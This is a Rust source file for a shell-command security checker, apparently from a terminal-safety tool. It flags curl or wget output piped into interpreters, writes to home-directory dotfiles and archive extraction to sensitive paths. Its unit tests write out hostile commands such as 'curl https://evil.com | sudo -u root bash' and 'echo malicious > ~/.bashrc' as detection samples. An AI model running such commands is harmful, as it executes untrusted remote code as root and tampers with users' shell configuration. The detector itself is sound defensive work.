1use crate::tokenize::{self, ShellType};
2use crate::verdict::{Evidence, Finding, RuleId, Severity};
3
4pub fn check(input: &str, shell: ShellType) -> Vec<Finding> {
6 let mut findings = Vec::new();
7 let segments = tokenize::tokenize(input, shell);
8
9 let has_pipe = segments.iter().any(|s| {
11 s.preceding_separator.as_deref() == Some("|")
12 || s.preceding_separator.as_deref() == Some("|&")
13 });
14 if has_pipe {
15 check_pipe_to_interpreter(&segments, &mut findings);
16 }
17
18 for segment in &segments {
20 if let Some(ref cmd) = segment.command {
21 let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
22 if is_source_command(&cmd_base) {
23 let tls_findings =
24 crate::rules::transport::check_insecure_flags(&segment.args, true);
25 findings.extend(tls_findings);
26 }
27 }
28 }
29
30 check_dotfile_overwrite(&segments, &mut findings);
32
33 check_archive_extract(&segments, &mut findings);
35
36 findings
37}
38
39fn resolve_interpreter_name(seg: &tokenize::Segment) -> Option<String> {
43 if let Some(ref cmd) = seg.command {
44 let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
45 if is_interpreter(&cmd_base) {
46 return Some(cmd_base);
47 }
48 if cmd_base == "sudo" {
49 let sudo_value_flags = ["-u", "-g", "-C", "-D", "-R", "-T"];
51 let mut skip_next = false;
52 for (idx, arg) in seg.args.iter().enumerate() {
53 if skip_next {
54 skip_next = false;
55 continue;
56 }
57 let trimmed = arg.trim();
58 if trimmed.starts_with("--") {
59 if !trimmed.contains('=') {
62 skip_next = true;
63 }
64 continue;
65 }
66 if trimmed.starts_with('-') {
67 if sudo_value_flags.contains(&trimmed) {
68 skip_next = true;
69 }
70 continue;
71 }
72 let base = trimmed.rsplit('/').next().unwrap_or(trimmed).to_lowercase();
73 if base == "env" {
74 return resolve_env_from_args(&seg.args[idx + 1..]);
75 }
76 if is_interpreter(&base) {
77 return Some(base);
78 }
79 break;
80 }
81 } else if cmd_base == "env" {
82 return resolve_env_from_args(&seg.args);
83 }
84 }
85 None
86}
87
88fn resolve_env_from_args(args: &[String]) -> Option<String> {
89 let env_value_flags = ["-u"];
90 let mut skip_next = false;
91 for arg in args {
92 if skip_next {
93 skip_next = false;
94 continue;
95 }
96 let trimmed = arg.trim();
97 if trimmed.starts_with("--") {
98 if !trimmed.contains('=') {
99 skip_next = true;
100 }
101 continue;
102 }
103 if trimmed.starts_with('-') {
104 if env_value_flags.contains(&trimmed) {
105 skip_next = true;
106 }
107 continue;
108 }
109 if trimmed.contains('=') {
111 continue;
112 }
113 let base = trimmed.rsplit('/').next().unwrap_or(trimmed).to_lowercase();
114 if is_interpreter(&base) {
115 return Some(base);
116 }
117 break;
118 }
119 None
120}
121
122fn check_pipe_to_interpreter(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
123 for (i, seg) in segments.iter().enumerate() {
124 if i == 0 {
125 continue;
126 }
127 if let Some(sep) = &seg.preceding_separator {
128 if sep == "|" || sep == "|&" {
129 if let Some(interpreter) = resolve_interpreter_name(seg) {
130 if i > 0 {
132 let source = &segments[i - 1];
133 let source_cmd = source.command.as_deref().unwrap_or("unknown").to_string();
134 let source_base = source_cmd
135 .rsplit('/')
136 .next()
137 .unwrap_or(&source_cmd)
138 .to_lowercase();
139
140 let rule_id = match source_base.as_str() {
141 "curl" => RuleId::CurlPipeShell,
142 "wget" => RuleId::WgetPipeShell,
143 _ => RuleId::PipeToInterpreter,
144 };
145
146 let display_cmd = seg.command.as_deref().unwrap_or(&interpreter);
147
148 findings.push(Finding {
149 rule_id,
150 severity: Severity::High,
151 title: format!("Pipe to interpreter: {source_cmd} | {display_cmd}"),
152 description: format!(
153 "Command pipes output from '{source_base}' directly to interpreter '{interpreter}'. Downloaded content will be executed without inspection."
154 ),
155 evidence: vec![Evidence::CommandPattern {
156 pattern: "pipe to interpreter".to_string(),
157 matched: format!("{} | {}", source.raw, seg.raw),
158 }],
159 });
160 }
161 }
162 }
163 }
164 }
165}
166
167fn check_dotfile_overwrite(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
168 for segment in segments {
169 let raw = &segment.raw;
171 if (raw.contains("> ~/.")
172 || raw.contains("> $HOME/.")
173 || raw.contains(">> ~/.")
174 || raw.contains(">> $HOME/."))
175 && !raw.contains("> /dev/null")
176 {
177 findings.push(Finding {
178 rule_id: RuleId::DotfileOverwrite,
179 severity: Severity::High,
180 title: "Dotfile overwrite detected".to_string(),
181 description: "Command redirects output to a dotfile in the home directory, which could overwrite shell configuration".to_string(),
182 evidence: vec![Evidence::CommandPattern {
183 pattern: "redirect to dotfile".to_string(),
184 matched: raw.clone(),
185 }],
186 });
187 }
188 }
189}
190
191fn check_archive_extract(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
192 for segment in segments {
193 if let Some(ref cmd) = segment.command {
194 let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
195 if cmd_base == "tar" || cmd_base == "unzip" || cmd_base == "7z" {
196 let raw = &segment.raw;
198 let sensitive_targets = [
199 "-C /",
200 "-C ~/",
201 "-C $HOME/",
202 "-d /",
203 "-d ~/",
204 "-d $HOME/",
205 "> ~/.",
206 ">> ~/.",
207 ];
208 for target in &sensitive_targets {
209 if raw.contains(target) {
210 findings.push(Finding {
211 rule_id: RuleId::ArchiveExtract,
212 severity: Severity::Medium,
213 title: "Archive extraction to sensitive path".to_string(),
214 description: format!(
215 "Archive command '{cmd_base}' extracts to a potentially sensitive location"
216 ),
217 evidence: vec![Evidence::CommandPattern {
218 pattern: "archive extract".to_string(),
219 matched: raw.clone(),
220 }],
221 });
222 return;
223 }
224 }
225 }
226 }
227 }
228}
229
230fn is_source_command(cmd: &str) -> bool {
231 matches!(
232 cmd,
233 "curl"
234 | "wget"
235 | "fetch"
236 | "scp"
237 | "rsync"
238 | "iwr"
239 | "irm"
240 | "invoke-webrequest"
241 | "invoke-restmethod"
242 )
243}
244
245fn is_interpreter(cmd: &str) -> bool {
246 matches!(
247 cmd,
248 "sh" | "bash"
249 | "zsh"
250 | "dash"
251 | "ksh"
252 | "python"
253 | "python3"
254 | "node"
255 | "perl"
256 | "ruby"
257 | "php"
258 | "iex"
259 | "invoke-expression"
260 )
261}
262
263#[cfg(test)]
264mod tests {
265 use super::*;
266
267 #[test]
268 fn test_pipe_sudo_flags_detected() {
269 let findings = check(
270 "curl https://evil.com | sudo -u root bash",
271 ShellType::Posix,
272 );
273 assert!(
274 findings
275 .iter()
276 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
277 "should detect pipe through sudo -u root bash"
278 );
279 }
280
281 #[test]
282 fn test_pipe_sudo_long_flag_detected() {
283 let findings = check(
284 "curl https://evil.com | sudo --user=root bash",
285 ShellType::Posix,
286 );
287 assert!(
288 findings
289 .iter()
290 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
291 "should detect pipe through sudo --user=root bash"
292 );
293 }
294
295 #[test]
296 fn test_pipe_env_var_assignment_detected() {
297 let findings = check("curl https://evil.com | env VAR=1 bash", ShellType::Posix);
298 assert!(
299 findings
300 .iter()
301 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
302 "should detect pipe through env VAR=1 bash"
303 );
304 }
305
306 #[test]
307 fn test_pipe_env_u_flag_detected() {
308 let findings = check("curl https://evil.com | env -u HOME bash", ShellType::Posix);
309 assert!(
310 findings
311 .iter()
312 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
313 "should detect pipe through env -u HOME bash"
314 );
315 }
316
317 #[test]
318 fn test_dotfile_overwrite_detected() {
319 let cases = [
320 "echo malicious > ~/.bashrc",
321 "echo malicious >> ~/.bashrc",
322 "curl https://evil.com > ~/.bashrc",
323 "cat payload > ~/.profile",
324 "echo test > $HOME/.bashrc",
325 ];
326 for input in &cases {
327 let findings = check(input, ShellType::Posix);
328 eprintln!(
329 "INPUT: {:?} -> findings: {:?}",
330 input,
331 findings.iter().map(|f| &f.rule_id).collect::<Vec<_>>()
332 );
333 assert!(
334 findings
335 .iter()
336 .any(|f| f.rule_id == RuleId::DotfileOverwrite),
337 "should detect dotfile overwrite in: {input}",
338 );
339 }
340 }
341
342 #[test]
343 fn test_pipe_env_s_flag_detected() {
344 let findings = check("curl https://evil.com | env -S bash -x", ShellType::Posix);
345 assert!(
346 findings
347 .iter()
348 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
349 "should detect pipe through env -S bash -x"
350 );
351 }
352
353 #[test]
354 fn test_pipe_sudo_env_detected() {
355 let findings = check(
356 "curl https://evil.com | sudo env VAR=1 bash",
357 ShellType::Posix,
358 );
359 assert!(
360 findings
361 .iter()
362 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
363 "should detect pipe through sudo env VAR=1 bash"
364 );
365 }
366}